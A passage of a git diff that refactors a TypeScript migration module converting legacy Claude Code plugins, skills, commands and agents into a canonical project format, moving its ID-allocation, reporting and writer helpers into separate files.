'../index.js'; -import { - defineExtension, - definePlatform, - stableJson, - type AgentCapability, - type Diagnostic, - type PluginMetadata, -} from '@acplugin/core'; +import { stableJson, type Diagnostic } from '@acplugin/core'; import { cleanupTempDir, downloadGitHubRepo, @@ -32,376 +17,32 @@ import { scanMarketplaceMeta, scanPlugin, } from './legacy/scanner/plugin.js'; +import { + allocateMigrationIds, + relative, + safeId, +} from './ids.js'; import type { - Agent, - Command, - MCPServer, - PluginScanResult, - ScanResult, - Skill, -} from './legacy/types.js'; -import type { Hooks } from './legacy/types.js'; - -/** Plugin 作者邮件与 Core 配置保持一致的保守结构规则。 */ -const EMAIL_PATTERN = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; - -/** 只在生成工程验证期间向临时 ESM 代理暴露真实公开 API 的全局键。 */ -const MIGRATION_VALIDATION_API = Symbol.for('tokenroll.acplugin.migration-validation-api'); - -/** 并发 Migration 共享同一组不可变公开 API 时用于延迟删除全局桥接。 */ -let activeValidationProxies = 0; - -/** - * 校验 Migration 生成的 plain MCP descriptor。 - * - * 这不是正式 MCP Extension 的替代实现;它只证明 Migration 自己写出的 TypeScript - * 可以由 Core Module Service 执行,正式语义仍由生成工程安装的官方 Extension 校验。 - * - * @param definition Migration 生成源码提交的远程 HTTP 描述。 - */ -function validateMigrationMcpServer(definition: unknown): void { - if (definition === null || typeof definition !== 'object' || Array.isArray(definition)) - throw new TypeError('Migration MCP descriptor must export an object.'); - /** 原型约束阻止 Migration 产物借助类实例携带隐藏行为。 */ - const prototype = Object.getPrototypeOf(definition); - if (prototype !== Object.prototype && prototype !== null) - throw new TypeError('Migration MCP descriptor must export a plain object.'); - /** descriptor 的最小安全字段视图。 */ - const candidate = definition as Record; - if (Object.getOwnPropertySymbols(candidate).length > 0 - || Object.values(Object.getOwnPropertyDescriptors(candidate)).some(descriptor => !('value' in descriptor))) - throw new TypeError('Migration MCP descriptor must not use symbols or accessors.'); - if (candidate.transport !== 'http' || typeof candidate.url !== 'string') - throw new TypeError('Migration MCP descriptor must use the remote HTTP transport.'); - /** Migration 只会自动生成无凭据的 HTTPS endpoint。 */ - const endpoint = new URL(candidate.url); - if (endpoint.protocol !== 'https:' || endpoint.username || endpoint.password) - throw new TypeError('Migration MCP descriptor must use a credential-free HTTPS URL.'); -} - -/** Migration 提交前验证使用的无产物 Platform,不包含任何官方 Platform 逻辑。 */ -const migrationValidationPlatform = definePlatform({ - // Migration may preserve verified Claude-specific fields, so Scanner must see the target ID. - id: 'claude-code', - apiVersion: '1', - deliveryType: 'plugin', - /** Migration 验证使用完整 v2 Session,但不实现任何官方 Platform 转换。 */ - createSession: () => ({ - /** 只声明 Scanner 已接受的 Component 与 metadata,不产生候选 Asset。 */ - createPackage: ({ project }) => ({ - documents: [], - assets: [], - compatibility: [...project.commands, ...project.skills, ...project.agents].map(component => ({ - subject: `${component.kind}:${component.id}`, - capability: 'component', - level: 'native' as const, - reason: 'The migration validation Platform accepts canonical resources.', - })), - metadata: [ - 'name', 'version', 'description', - ...(project.metadata.displayName === undefined ? [] : ['displayName']), - ...(project.metadata.author === undefined - ? [] - : [ - 'author.name', - ...(project.metadata.author.email === undefined ? [] : ['author.email']), - ...(project.metadata.author.url === undefined ? [] : ['author.url']), - ]), - ...(project.metadata.homepage === undefined ? [] : ['homepage']), - ...(project.metadata.repository === undefined ? [] : ['repository']), - ...(project.metadata.license === undefined ? [] : ['license']), - ...(project.metadata.keywords.length === 0 ? [] : ['keywords']), - ].map(field => ({ - field, - disposition: 'emitted' as const, - output: `manifest/${field.replaceAll('.', '/')}`, - reason: 'The migration validation Platform accepts this metadata field.', - })), - }), - /** 使用固定主 Package 身份完成正式 lifecycle。 */ - finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), - /** Migration 私有 Platform 没有额外候选格式规则。 */ - validatePackage: () => undefined, - }), -}); - -/** Migration 提交前执行自己生成的 MCP descriptor,并声明 mcp root 所有权。 */ -const migrationValidationMcp = defineExtension({ - id: 'migration-validation-mcp', - apiVersion: '1', - resourceRoots: ['mcp'], - /** 每轮验证创建隔离的 descriptor Module Session。 */ - createSession: () => ({ - /** 通过 v2 SourceRef/ModuleService fresh evaluate 每个生成 descriptor。 */ - async discover({ roots, sources, modules }) { - /** 配置声明的 mcp root 是当前 Extension 唯一可读来源。 */ - const root = roots.mcp; - if (root === undefined) - return undefined; - /** mcp root 只接受一层稳定 Server 目录。 */ - const entries = await sources.list(root); - /** count 只用于证明所有 descriptor 均已通过执行验证。 */ - let count = 0; - for (const entry of entries) { - if (entry.type !== 'directory') - throw new TypeError('Migration MCP entries must be directories.'); - /** 每个 Server 目录的固定作者入口。 */ - const descriptor = await sources.file(entry.directory, 'mcp.ts'); - /** 默认导出必须跨越正式 Module Host 数据边界。 */ - const value = await modules.loadDefault({ id: entry.name, entry: descriptor }); - validateMigrationMcpServer(value); - count += 1; - } - return Object.freeze({ count }); - }, - /** Migration descriptor 没有 Platform delivery subject,只验证模块本身。 */ - validate: (_context, discovered) => ({ state: discovered, subjects: [] }), - /** 无 Contributor 时 Core 会跳过 build;该方法只满足完整 Session contract。 */ - build: (_context, validated) => ({ state: validated }), - contributors: [], - }), -}); - -/** 临时代理读取的主包与 Migration 私有验证 API。 */ -interface MigrationValidationApi { - /** 生成配置使用的公开恒等辅助函数。 */ - readonly defineConfig: typeof defineConfig; - /** 不生成产物、只驱动正式 Core Scanner 的 Migration 私有 Platform。 */ - readonly migrationValidationPlatform: typeof migrationValidationPlatform; - /** 只通过 v2 Module Service 验证 Migration 生成 MCP descriptor 的私有 Extension。 */ - readonly migrationValidationMcp: typeof migrationValidationMcp; -} - -/** 控制旧 Claude 工程、Plugin 或 Marketplace 到规范工程的迁移。 */ -export interface MigrationOptions { - /** 解析本地来源与目标路径的工作目录。 */ - cwd?: string; - /** 本地路径或受支持的 GitHub 来源。 */ - source: string; - /** 不得已存在且必须位于来源树外的目标目录。 */ - destination?: string; - /** GitHub 仓库内需要迁移的子路径。 */ - subPath?: string; - /** Marketplace 中需要选择的单个 Plugin 名称。 */ - plugin?: string; - /** 是否迁移 Marketplace 中的全部 Plugin。 */ - all?: boolean; - /** 无法从旧元数据推导时使用的规范 Plugin 名称。 */ - name?: string; - /** 无法从旧元数据推导时使用的规范描述。 */ - description?: string; - /** 是否只在临时目录生成和验证,不提交目标目录。 */ - dryRun?: boolean; - /** 是否把任何降级或未映射资源视为迁移失败。 */ - strict?: boolean; -} - -/** 单项旧资源的无损迁移、降级、未映射或跳过结论。 */ -export type MigrationOutcome = 'migrated' | 'degraded' | 'unmapped' | 'skipped'; - -/** 单个旧字段到规范字段的精确保真结论。 */ -export type MigrationFieldOutcome = 'mapped' | 'degraded' | 'unmapped'; - -/** 迁移报告中一个字段的来源、去向和脱敏结论。 */ -export interface MigrationField { - /** 旧资源中的字段名或内容角色。 */ - field: string; - /** 旧工程内包含该字段的相对来源路径。 */ - source: string; - /** 新工程内承载映射结果或人工记录的相对路径。 */ - destination: string; - /** 字段是否完整映射、发生语义降级或无法自动映射。 */ - outcome: MigrationFieldOutcome; - /** 不包含原始值、凭据或绝对路径的稳定原因。 */ - reason: string; -} - -/** 迁移报告中一项旧资源的处理结果与路径映射。 */ -export interface MigrationItem { - /** 旧资源类别。 */ - kind: string; - /** 规范化后的资源 ID 或来源标识。 */ - id: string; - /** 该资源的迁移保真度结论。 */ - outcome: MigrationOutcome; - /** 旧工程内的相对来源路径。 */ - source?: string; - /** 新工程内的相对目标路径。 */ - destination?: string; - /** 降级、未映射或跳过的原因。 */ - message?: string; - /** 该资源全部已发现字段的逐项保真报告。 */ - fields: readonly MigrationField[]; -} - -/** `acplugin migrate` 返回并持久化的稳定机器可读报告。 */ -export interface MigrationReport { - /** 迁移报告协议版本。 */ - schemaVersion: '1'; - /** 自动识别的旧来源结构。 */ - sourceType: 'project' | 'plugin' | 'marketplace'; - /** 生成的单工程路径;Marketplace 可包含多个工作区成员。 */ - projects: readonly string[]; - /** 所有已识别旧资源的处理结果。 */ - items: readonly MigrationItem[]; - /** 对生成规范工程重新执行 Core 校验得到的诊断。 */ - diagnostics: readonly Diagnostic[]; - /** 是否满足 Core 校验和可选 strict 无损要求。 */ - success: boolean; - /** 是否未向最终目标目录提交任何文件。 */ - dryRun: boolean; -} - -/** 规范 Component ID 接受的小写 kebab-case 格式。 */ -const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; - -/** 写入资源前暂存的字段结论;省略目标时才继承资源目标。 */ -type MigrationFieldDraft = Omit & { readonly destination?: string }; - -/** 字段结论从完整保真到无法映射的严重度顺序。 */ -const FIELD_OUTCOME_RANK: Readonly> = { - mapped: 0, - degraded: 1, - unmapped: 2, -}; - -/** - * 按 UTF-16 code unit 比较迁移报告与生成输入,不依赖宿主 locale/ICU。 - * - * @param left 左侧字符串。 - * @param right 右侧字符串。 - * @returns 与 Array.sort 约定一致的 -1、0 或 1。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; -} - -/** - * 记录一个已发现字段的脱敏迁移结论。 - * - * @param fields 当前资源累计的字段结论。 - * @param field 旧字段名或内容角色。 - * @param source 包含字段的旧工程相对路径。 - * @param outcome 字段保真度。 - * @param reason 不复述原始值的稳定原因。 - * @param destination 字段写入不同文件时使用的精确工程相对路径。 - */ -function reportField( - fields: MigrationFieldDraft[], - field: string, - source: string, - outcome: MigrationFieldOutcome, - reason: string, - destination?: string, -): void { - fields.push({ field, source, outcome, reason, ...(destination === undefined ? {} : { destination }) }); -} - -/** - * 按字段最差结论创建唯一的资源级迁移记录。 - * - * @param resource 不含 outcome/fields 的资源路径与身份。 - * @param fields 已覆盖该资源全部已发现字段的结论。 - * @returns 字段已补齐目标路径且总体 outcome 可审计的资源项。 - */ -function migrationItem( - resource: Omit, - fields: readonly MigrationFieldDraft[], -): MigrationItem { - /** 未输出文件的聚合记录统一指向人工可审查的迁移报告。 */ - const destination = resource.destination ?? '.acplugin-migration/report.json'; - /** 字段最差结果决定资源总体,不允许 unmapped 被压低成 degraded。 */ - const worst = fields.reduce( - (current, field) => FIELD_OUTCOME_RANK[field.outcome] > FIELD_OUTCOME_RANK[current] ? field.outcome : current, - 'mapped', - ); - /** 字段 mapped 对应资源 migrated,其余名称在两个协议中一致。 */ - const outcome: MigrationOutcome = worst === 'mapped' ? 'migrated' : worst; - return { - ...resource, - outcome, - fields: Object.freeze(fields.map(field => Object.freeze({ ...field, destination: field.destination ?? destination }))), - }; -} - -/** - * 生成旧工程内用于报告的 POSIX 相对路径。 - * - * @param root 旧工程根目录。 - * @param file 旧资源文件路径。 - * @returns 跨平台稳定的相对路径。 - */ -function relative(root: string, file: string): string { - return path.relative(root, file).split(path.sep).join('/'); -} - -/** - * 把任意旧资源名称收敛为规范 Component ID。 - * - * @param value 旧名称。 - * @returns 小写 kebab-case ID;无法提取字符时使用稳定回退值。 - */ -function safeId(value: string): string { - /** 移除不支持字符并压缩分隔符后的候选 ID。 */ - const id = value.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, ''); - return id || 'migrated-item'; -} - -/** 尚未分配最终 ID 的单个迁移资源及其稳定来源身份。 */ -interface MigrationIdCandidate { - /** 调用方需要与分配结果一起取回的原始资源。 */ - readonly value: T; - /** 资源名称规范化后的首选 ID。 */ - readonly baseId: string; - /** 不包含绝对根且能稳定打破同名冲突的逻辑来源路径。 */ - readonly sourcePath: string; -} - -/** 已获得唯一最终 ID 的迁移资源。 */ -interface AllocatedMigrationId extends MigrationIdCandidate { - /** 在当前资源类别 namespace 内唯一的最终 ID。 */ - readonly id: string; -} + MigrationFieldDraft, + MigrationItem, + MigrationOptions, + MigrationReport, +} from './types.js'; +import { writeCanonicalProject } from './writers/project.js'; +import { + copyText, + exists, + migrationItem, +} from './writers/shared.js'; -/** - * 为一个资源类别整体分配确定 ID,先保留显式 base 再选择未占用后缀。 - * - * @param candidates 同一 Command、Skill、Agent、MCP 或 workspace namespace 的全部候选。 - * @returns 按 base ID 和逻辑来源排序、且 ID 唯一的资源计划。 - */ -function allocateMigrationIds(candidates: readonly MigrationIdCandidate[]): AllocatedMigrationId[] { - /** 所有候选显式拥有的 base ID;冲突项不得抢占这些名称。 */ - const reserved = new Set(candidates.map(candidate => candidate.baseId)); - /** 已实际分配给前序候选的最终 ID。 */ - const assigned = new Set(); - /** 每个 base 下一次尝试的数字后缀。 */ - const nextSuffix = new Map(); - /** 与发现顺序无关的候选处理顺序。 */ - const ordered = [...candidates].sort((left, right) => - compareCodeUnits(left.baseId, right.baseId) - || compareCodeUnits(left.sourcePath, right.sourcePath)); - /** 完成 winner/后缀选择后再按最终 ID 固定写入与报告顺序。 */ - const allocated = ordered.map((candidate) => { - /** 当前候选优先使用的 base,冲突时再选择数字后缀。 */ - let id = candidate.baseId; - if (assigned.has(id)) { - /** 从 `-2` 开始且会跨候选记忆的当前后缀。 */ - let suffix = nextSuffix.get(candidate.baseId) ?? 2; - do { - id = `${candidate.baseId}-${suffix}`; - suffix += 1; - } while (reserved.has(id) || assigned.has(id)); - nextSuffix.set(candidate.baseId, suffix); - } - assigned.add(id); - return { ...candidate, id }; - }); - return allocated.sort((left, right) => - compareCodeUnits(left.id, right.id) - || compareCodeUnits(left.sourcePath, right.sourcePath)); -} +export type { + MigrationField, + MigrationFieldOutcome, + MigrationItem, + MigrationOptions, + MigrationOutcome, + MigrationReport, +} from './types.js'; /** * 判断来源文本是否采用支持的 GitHub URL、前缀或 owner/repo 简写。 @@ -415,1312 +56,6 @@ function isGitHubSource(source: string): boolean { || (/^[A-Za-z0-9_-]+\/[A-Za-z0-9._-]+(?:#.+)?$/.test(source) && !path.isAbsolute(source)); } -/** - * 判断路径是否可访问。 - * - * @param file 待检查路径。 - * @returns 可访问时返回 true,否则返回 false。 - */ -async function exists(file: string): Promise { - try { - await fs.access(file); - return true; - } catch { - return false; - } -} - -/** - * 确保父目录存在后写入迁移文本文件。 - * - * @param destination 目标文件路径。 - * @param content 文件内容。 - */ -async function copyText(destination: string, content: string): Promise { - await fs.mkdir(path.dirname(destination), { recursive: true }); - await fs.writeFile(destination, content); -} - -/** - * 为 Migration 自己生成的 Frontmatter 递归固定对象键顺序。 - * - * Migration 不依赖 Core 序列化实现,避免隔离子系统重新进入私有 Core 边界。 - * - * @param value 即将交给 gray-matter 的可序列化值。 - * @returns 保留数组顺序、按英文键名排序对象的副本。 - */ -function sortFrontmatter(value: unknown): unknown { - if (Array.isArray(value)) - return value.map(sortFrontmatter); - if (value !== null && typeof value === 'object') { - return Object.fromEntries(Object.entries(value as Record) - .filter(entry => entry[1] !== undefined) - .sort(([left], [right]) => compareCodeUnits(left, right)) - .map(([key, child]) => [key, sortFrontmatter(child)])); - } - return value; -} - -/** - * 组合确定性 YAML Frontmatter 与规范 Markdown 正文。 - * - * @param frontmatter Migration 已完成字段映射的头部数据。 - * @param body 不含 Frontmatter 的 Markdown 正文。 - * @returns 以单个换行结尾的规范 Markdown。 - */ -function markdownWithFrontmatter(frontmatter: Record, body: string): string { - return matter.stringify(body.trim(), sortFrontmatter(frontmatter) as Record); -} - -/** - * 创建父目录后按原始字节复制可信来源文件。 - * - * @param source 已由 Legacy Scanner 限定在来源树内的普通文件。 - * @param destination 新规范工程中的目标文件。 - */ -async function copyBytes(source: string, destination: string): Promise { - await fs.mkdir(path.dirname(destination), { recursive: true }); - await fs.copyFile(source, destination); -} - -/** - * 把旧 Skill 及全部辅助文件迁移为规范 Skill 目录。 - * - * @param skill Legacy Scanner 读取的 Skill。 - * @param id 已在 Skill namespace 中完成冲突消歧的最终 ID。 - * @param projectRoot 旧工程根目录。 - * @param outputRoot 新规范工程的阶段目录。 - * @param items 共享迁移报告条目数组。 - * @returns 可与其他资源并行等待的文件写入任务。 - */ -function migrateSkill(skill: Skill, id: string, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise[] { - /** 当前 Skill 报告使用的稳定来源路径。 */ - const source = relative(projectRoot, skill.sourcePath); - /** 当前 Skill 全部已发现字段的保真记录。 */ - const fields: MigrationFieldDraft[] = []; - reportField(fields, 'name', source, ID_PATTERN.test(skill.dirName) && skill.dirName === id ? 'mapped' : 'degraded', ID_PATTERN.test(skill.dirName) && skill.dirName === id - ? 'Directory identity maps directly to the canonical Skill ID.' - : 'Skill identity required lowercase kebab-case normalization or a deterministic collision suffix.'); - if (skill.frontmatter.name !== undefined) { - reportField(fields, 'frontmatter.name', source, skill.frontmatter.name === id ? 'mapped' : 'degraded', skill.frontmatter.name === id - ? 'Frontmatter identity agrees with the canonical directory identity.' - : 'Frontmatter name differs from the canonical directory identity.'); - } - /** 优先保留旧描述,否则生成明确的迁移回退描述。 */ - const description = skill.frontmatter.description || skill.frontmatter.when_to_use || `Migrated Skill ${id}.`; - if (skill.frontmatter.description) { - reportField(fields, 'description', source, 'mapped', 'Description maps directly to canonical Skill frontmatter.'); - } else if (skill.frontmatter.when_to_use) { - reportField(fields, 'when_to_use', source, 'mapped', 'when_to_use maps to the canonical Skill description.'); - } else { - reportField(fields, 'description', source, 'degraded', 'Description required a generated fallback.'); - } - /** 旧 Skill 未经 Schema 校验的用户调用开关。 */ - const rawUserInvocation = skill.frontmatter['user-invocable']; - /** 旧 Skill 未经 Schema 校验的模型禁用开关。 */ - const rawModelDisabled = skill.frontmatter['disable-model-invocation']; - /** 无效或缺失的用户开关回退到旧平台默认 true。 */ - let user = typeof rawUserInvocation === 'boolean' ? rawUserInvocation : true; - /** 无效或缺失的模型开关回退到旧平台默认可调用。 */ - const model = typeof rawModelDisabled === 'boolean' ? !rawModelDisabled : true; - if (rawUserInvocation !== undefined) { - if (typeof rawUserInvocation !== 'boolean') { - reportField(fields, 'user-invocable', source, 'unmapped', 'user-invocable was not boolean.'); - } else if (!user && !model) { - user = true; - reportField(fields, 'user-invocable', source, 'degraded', 'Both invocation paths were disabled; canonical format required enabling user invocation.'); - } else { - reportField(fields, 'user-invocable', source, 'mapped', 'user-invocable maps to canonical invocation.user.'); - } - } - if (rawModelDisabled !== undefined) { - reportField(fields, 'disable-model-invocation', source, typeof rawModelDisabled === 'boolean' ? 'mapped' : 'unmapped', - typeof rawModelDisabled === 'boolean' - ? 'disable-model-invocation maps inversely to canonical invocation.model.' - : 'disable-model-invocation was not boolean.'); - } - if (rawUserInvocation === undefined && rawModelDisabled === undefined) - reportField(fields, 'invocation', source, 'mapped', 'Legacy invocation defaults map to canonical user/model policy.'); - /** Claude Code 专属字段在规范 Skill 中的精确保留映射。 */ - const claudeFields: Record = {}; - /** 旧 allowed-tools 的稳定数组表示。 */ - const allowedTools = legacyStringList(skill.frontmatter['allowed-tools']); - if (skill.frontmatter['allowed-tools'] !== undefined) { - if (allowedTools) { - claudeFields.allowedTools = allowedTools; - reportField(fields, 'allowed-tools', source, 'mapped', 'Tool restrictions map to the Claude Code Platform field.'); - } else { - reportField(fields, 'allowed-tools', source, 'unmapped', 'allowed-tools was not a valid non-empty tool list.'); - } - } - /** field 表示当前可精确进入 Claude Code Platform 字段的普通字符串。 */ - for (const field of ['model', 'agent'] as const) { - /** 旧 Frontmatter 中当前字符串字段。 */ - const value = skill.frontmatter[field]; - if (value !== undefined) { - if (typeof value === 'string' && value.trim()) { - claudeFields[field] = value.trim(); - reportField(fields, field, source, 'mapped', `${field} maps to the Claude Code Platform field.`); - } else { - reportField(fields, field, source, 'unmapped', `${field} was not a non-empty string.`); - } - } - } - if (skill.frontmatter.context !== undefined) { - if (skill.frontmatter.context === 'fork') { - claudeFields.context = 'fork'; - reportField(fields, 'context', source, 'mapped', 'fork maps to the verified Claude Code context field.'); - } else { - reportField(fields, 'context', source, 'unmapped', 'Only the verified Claude Code fork context can be preserved.'); - } - } - reportUnknownFields(fields, source, skill.frontmatter as unknown as Readonly>, new Set([ - 'name', 'description', 'when_to_use', 'user-invocable', 'disable-model-invocation', 'allowed-tools', 'model', 'context', 'agent', - ])); - /** 规范 Skill 主文件的工程相对路径。 */ - const destination = `src/skills/${id}/SKILL.md`; - reportField(fields, 'body', source, 'mapped', 'Markdown body maps without model-visible annotations.'); - for (const auxiliary of skill.auxFiles) { - reportField( - fields, - `auxiliary:${auxiliary.relativePath}`, - relative(projectRoot, auxiliary.sourcePath), - 'mapped', - 'Auxiliary file is copied byte-for-byte with the Skill.', - `src/skills/${id}/${auxiliary.relativePath.split(path.sep).join('/')}`, - ); - } - items.push(migrationItem({ kind: 'skill', id, source, destination }, fields)); - /** 主文件及后续辅助文件的并行写入任务。 */ - const writes = [copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ - description, - invocation: { user, model }, - ...(Object.keys(claudeFields).length === 0 ? {} : { platforms: { 'claude-code': claudeFields } }), - }, skill.body))]; - for (const auxiliary of skill.auxFiles) - writes.push(copyBytes(auxiliary.sourcePath, path.join(outputRoot, 'src/skills', id, auxiliary.relativePath))); - return writes; -} - -/** - * 把逗号分隔字符串或字符串数组转换为去重的非空字段列表。 - * - * @param value Legacy Frontmatter 中未经验证的工具或 Skill 列表。 - * @returns 有效列表;字段缺失或无效时返回 undefined。 - */ -function legacyStringList(value: unknown): string[] | undefined { - if (value === undefined) - return undefined; - /** 字符串使用 Claude 旧格式的逗号分隔规则,数组保持原声明顺序。 */ - const values = typeof value === 'string' - ? value.split(',').map(item => item.trim()).filter(Boolean) - : Array.isArray(value) ? value : []; - if (values.length === 0 || values.some(item => typeof item !== 'string' || item.trim() === '')) - return undefined; - /** 去重后的列表,避免生成的新 Platform 字段无法通过严格 Schema。 */ - return [...new Set(values as string[])]; -} - -/** - * 把未列入迁移白名单且实际存在的旧 Frontmatter 字段逐项报告为 unmapped。 - * - * @param fields 当前资源累计的字段级结论。 - * @param source 旧资源相对路径。 - * @param data Legacy Scanner 的宽松 Frontmatter。 - * @param allowed 当前资源可以自动迁移的字段集合。 - */ -function reportUnknownFields( - fields: MigrationFieldDraft[], - source: string, - data: Readonly>, - allowed: ReadonlySet, -): void { - /** field 表示当前需要进入人工迁移流程的旧字段。 */ - for (const field of Object.keys(data).sort(compareCodeUnits)) { - if (!allowed.has(field)) - reportField(fields, field, source, 'unmapped', 'The legacy field has no canonical or verified Platform mapping.'); - } -} - -/** - * 把旧 Command Markdown 迁移为规范 Command,并转换参数占位符。 - * - * @param command Legacy Scanner 读取的 Command。 - * @param id 已在 Command namespace 中完成冲突消歧的最终 ID。 - * @param projectRoot 旧工程根目录。 - * @param outputRoot 新规范工程的阶段目录。 - * @param items 共享迁移报告条目数组。 - * @returns Command 文件写入任务。 - */ -function migrateCommand(command: Command, id: string, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { - /** 当前 Command 报告使用的稳定来源路径。 */ - const source = relative(projectRoot, command.sourcePath); - /** 当前 Command 全部已发现字段的保真记录。 */ - const fields: MigrationFieldDraft[] = []; - reportField(fields, 'name', source, ID_PATTERN.test(command.name) && command.name === id ? 'mapped' : 'degraded', ID_PATTERN.test(command.name) && command.name === id - ? 'Filename identity maps directly to the canonical Command ID.' - : 'Command identity required lowercase kebab-case normalization or a deterministic collision suffix.'); - /** 解析 Frontmatter 后保留的 Command 正文。 */ - let body = command.content; - /** 优先读取旧描述,否则使用明确的迁移回退值。 */ - let description = `Migrated Command ${id}.`; - /** 迁移后写入规范 Frontmatter 的字段集合。 */ - const frontmatter: Record = {}; - try { - /** 旧 Command 的 Frontmatter 与正文解析结果。 */ - const parsed = matter(command.content); - body = parsed.content.trim(); - if (typeof parsed.data.description === 'string' && parsed.data.description.trim()) { - description = parsed.data.description.trim(); - reportField(fields, 'description', source, 'mapped', 'Description maps directly to canonical Command frontmatter.'); - } else { - reportField(fields, 'description', source, 'degraded', 'Description required a generated fallback.'); - } - /** Claude 原生拼写优先于旧工具曾使用的 camelCase 拼写。 */ - const nativeHint = parsed.data['argument-hint']; - /** camelCase 拼写仍是需要保真的合法 Legacy 输入。 */ - const camelHint = parsed.data.argumentHint; - /** 两种来源分别规范化,避免 truthy 非字符串绕过字段报告。 */ - const normalizedNative = typeof nativeHint === 'string' && nativeHint.trim() ? nativeHint.trim() : undefined; - /** camelCase 来源的非空字符串值。 */ - const normalizedCamel = typeof camelHint === 'string' && camelHint.trim() ? camelHint.trim() : undefined; - if (normalizedNative !== undefined) { - frontmatter.argumentHint = normalizedNative; - reportField(fields, 'argument-hint', source, normalizedNative === nativeHint ? 'mapped' : 'degraded', normalizedNative === nativeHint - ? 'Claude-native argument-hint maps to canonical argumentHint.' - : 'Claude-native argument-hint required whitespace normalization.'); - } else if (nativeHint !== undefined) { - reportField(fields, 'argument-hint', source, 'unmapped', 'argument-hint was not a non-empty string.'); - } - if (normalizedCamel !== undefined && normalizedNative === undefined) { - frontmatter.argumentHint = normalizedCamel; - reportField(fields, 'argumentHint', source, normalizedCamel === camelHint ? 'mapped' : 'degraded', normalizedCamel === camelHint - ? 'Legacy camelCase argumentHint maps directly to canonical argumentHint.' - : 'Legacy camelCase argumentHint required whitespace normalization.'); - } else if (normalizedCamel !== undefined && normalizedNative !== undefined) { - reportField(fields, 'argumentHint', source, normalizedCamel === normalizedNative ? 'mapped' : 'degraded', normalizedCamel === normalizedNative - ? 'Both legacy argument hint spellings agree with the canonical value.' - : 'Conflicting argument hints were degraded to the Claude-native argument-hint value.'); - } else if (camelHint !== undefined) { - reportField(fields, 'argumentHint', source, 'unmapped', 'argumentHint was not a non-empty string.'); - } - /** Claude Code 专属 Command 字段。 */ - const claudeFields: Record = {}; - /** 旧 allowed-tools 的稳定数组表示。 */ - const allowedTools = legacyStringList(parsed.data['allowed-tools']); - if (parsed.data['allowed-tools'] !== undefined) { - if (allowedTools) { - claudeFields.allowedTools = allowedTools; - reportField(fields, 'allowed-tools', source, 'mapped', 'Tool restrictions map to the Claude Code Platform field.'); - } else { - reportField(fields, 'allowed-tools', source, 'unmapped', 'allowed-tools was not a valid non-empty tool list.'); - } - } - if (parsed.data.model !== undefined) { - if (typeof parsed.data.model === 'string' && parsed.data.model.trim()) { - claudeFields.model = parsed.data.model.trim(); - reportField(fields, 'model', source, 'mapped', 'Model maps to the Claude Code Platform field.'); - } else { - reportField(fields, 'model', source, 'unmapped', 'model was not a non-empty string.'); - } - } - if (Object.keys(claudeFields).length > 0) - frontmatter.platforms = { 'claude-code': claudeFields }; - reportUnknownFields(fields, source, parsed.data, new Set(['description', 'argument-hint', 'argumentHint', 'allowed-tools', 'model'])); - } catch { - reportField(fields, 'frontmatter', source, 'unmapped', 'Frontmatter could not be parsed and requires manual recovery.'); - } - frontmatter.description = description; - body = body.replaceAll('$ARGUMENTS', '{{arguments}}'); - /** 规范 Command 文件的工程相对路径。 */ - const destination = `src/commands/${id}.md`; - reportField(fields, 'body', source, 'mapped', 'Markdown body and argument placeholder map to canonical Command content.'); - items.push(migrationItem({ kind: 'command', id, source, destination }, fields)); - return copyText(path.join(outputRoot, destination), markdownWithFrontmatter(frontmatter, body)); -} - -/** - * 把旧 Claude 模型名称收敛为 Core 可移植模型档位。 - * - * @param value 旧 Agent model 字段。 - * @returns fast、capable 或 inherit。 - */ -function mappedModel(value: string | undefined): 'inherit' | 'fast' | 'capable' { - if (value === 'haiku') - return 'fast'; - if (value === 'sonnet' || value === 'opus') - return 'capable'; - return 'inherit'; -} - -/** - * 从 Claude Code 工具名推导跨平台保守能力集合。 - * - * 精确工具白名单仍保存在 Claude Code Platform 字段中;这里只为其他 Platform 提供可移植近似。 - * - * @param tools 已验证的旧 Claude Code 工具名。 - * @returns 按 Core 固定顺序去重的规范能力。 - */ -function capabilitiesFromTools(tools: readonly string[]): AgentCapability[] { - /** 每个稳定工具对应的最小规范能力。 */ - const mapping: Readonly> = { - Read: 'filesystem:read', - Write: 'filesystem:write', - Edit: 'filesystem:write', - NotebookEdit: 'filesystem:write', - Glob: 'search', - Grep: 'search', - Bash: 'shell', - WebFetch: 'network', - Agent: 'delegate', - Task: 'delegate', - }; - /** 工具列表映射得到的能力集合。 */ - const found = new Set(); - for (const tool of tools) { - // WebSearch 同时依赖发现能力和远程访问,不能压缩成单一 capability。 - if (tool === 'WebSearch') { - found.add('search'); - found.add('network'); - continue; - } - /** 当前 Claude 工具可保守映射出的单一规范能力。 */ - const capability = mapping[tool]; - if (capability !== undefined) - found.add(capability); - } - /** Core 对外采用的固定能力顺序。 */ - const order: readonly AgentCapability[] = ['filesystem:read', 'filesystem:write', 'search', 'shell', 'network', 'delegate']; - return order.filter(capability => found.has(capability)); -} - -/** - * 把旧 Agent Markdown 迁移为规范 Agent,并泛化平台模型名称。 - * - * @param agent Legacy Scanner 读取的 Agent。 - * @param id 已在 Agent namespace 中完成冲突消歧的最终 ID。 - * @param projectRoot 旧工程根目录。 - * @param outputRoot 新规范工程的阶段目录。 - * @param items 共享迁移报告条目数组。 - * @returns Agent 文件写入任务。 - */ -function migrateAgent(agent: Agent, id: string, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { - /** 当前 Agent 报告使用的稳定来源路径。 */ - const source = relative(projectRoot, agent.sourcePath); - /** 当前 Agent 全部已发现字段的保真记录。 */ - const fields: MigrationFieldDraft[] = []; - reportField(fields, 'name', source, ID_PATTERN.test(agent.fileName) && agent.fileName === id ? 'mapped' : 'degraded', ID_PATTERN.test(agent.fileName) && agent.fileName === id - ? 'Filename identity maps directly to the canonical Agent ID.' - : 'Agent identity required lowercase kebab-case normalization or a deterministic collision suffix.'); - if (agent.frontmatter.name !== undefined) { - reportField(fields, 'frontmatter.name', source, agent.frontmatter.name === id ? 'mapped' : 'degraded', agent.frontmatter.name === id - ? 'Frontmatter identity agrees with the canonical filename identity.' - : 'Frontmatter name differs from the canonical filename identity.'); - } - /** 旧描述或明确的迁移回退描述。 */ - const description = agent.frontmatter.description || 